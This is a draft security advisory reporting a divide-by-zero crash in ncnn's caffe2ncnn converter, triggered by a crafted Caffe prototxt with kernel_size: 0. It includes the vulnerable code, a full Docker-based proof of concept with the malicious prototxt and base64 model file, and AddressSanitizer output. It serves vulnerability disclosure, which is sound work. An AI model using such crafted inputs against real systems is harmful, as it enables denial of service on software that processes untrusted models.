All advisories
Draft

Divide-By-Zero in Caffe Conversion

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Divide-By-Zero in Caffe Conversion

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/caffe/caffe2ncnn.cpp:515 in main
Sanitizer verdict: FPE on unknown address 0x6096f08b973d (pc 0x6096f08b973d bp 0x7ffc8fb90e10 sp 0x7ffc8fb8fca0 T0)

Summary

The caffe2ncnn converter aborts with SIGFPE when an attacker-supplied Caffe prototxt declares a Deconvolution layer with kernel_size: 0. The kernel area is computed by squaring the parsed kernel size and is then used as a divisor to recover the input channel count from the binary weight blob, with no check that it is non-zero. Invoking caffe2ncnn model.prototxt model.caffemodel on the crafted pair kills the converter before it finishes writing the ncnn model.

Detail

Both inputs are untrusted protobuf files: the text prototxt supplies convolution_param.kernel_size, and the binary caffemodel supplies weight_blob. In the Deconvolution branch of main, the kernel size is copied into the output parameter line and then squared into maxk. Nothing rejects 0, and the same value immediately becomes a denominator.

// tools/caffe/caffe2ncnn.cpp:502
            int maxk = 0;
            if (convolution_param.has_kernel_w() && convolution_param.has_kernel_h())
            {
                maxk = convolution_param.kernel_w() * convolution_param.kernel_h();
            }
            else
            {
                maxk = convolution_param.kernel_size(0) * convolution_param.kernel_size(0);
            }
            for (int g = 0; g < group; g++)
            {
                // reorder weight from inch-outch to outch-inch
                int num_output = convolution_param.num_output() / group;
                int num_input = weight_blob.data_size() / maxk / num_output / group;

The PoC prototxt declares num_output: 1 and kernel_size: 0 and sets neither kernel_w nor kernel_h, so the else branch runs and maxk = 0 * 0 = 0. group is absent and therefore defaults to 1, so the loop body executes once with num_output = 1 / 1 = 1. The generated model.caffemodel contains a layer named conv with a single-float blob, giving weight_blob.data_size() == 1.

Line 515 evaluates left to right, so the very first operation is 1 / 0. The integer division by zero raises SIGFPE and terminates caffe2ncnn with a non-zero status, leaving the output .param/.bin truncated at whatever had already been written.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-in-caffe-conversion && cd ncnn-poc-divide-by-zero-in-caffe-conversion

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > model.prototxt <<'PROTOTXT'
layer {
  name: "conv"
  type: "Deconvolution"
  convolution_param {
    num_output: 1
    kernel_size: 0
  }
}
PROTOTXT

base64 -d > model.caffemodel <<'CAFFEMODEL'
ogYOCgRjb252OgYqBAAAAAA=
CAFFEMODEL

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/caffe/caffe2ncnn model.prototxt model.caffemodel

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5ae36d5fb73d (pc 0x5ae36d5fb73d bp 0x7ffdc880e250 sp 0x7ffdc880d0e0 T0)
    #0 0x5ae36d5fb73d in main /ncnn/tools/caffe/caffe2ncnn.cpp:515
    #1 0x7593a69c11c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #2 0x7593a69c128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x5ae36d5f7924 in _start (/ncnn/build/tools/caffe/caffe2ncnn+0x2e924) (BuildId: c33e0673deae8cbfccf350f7b9cb1ebc11484244)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/tools/caffe/caffe2ncnn.cpp:515 in main
==1==ABORTING

Credit

Zheng Yu @ DepthFirst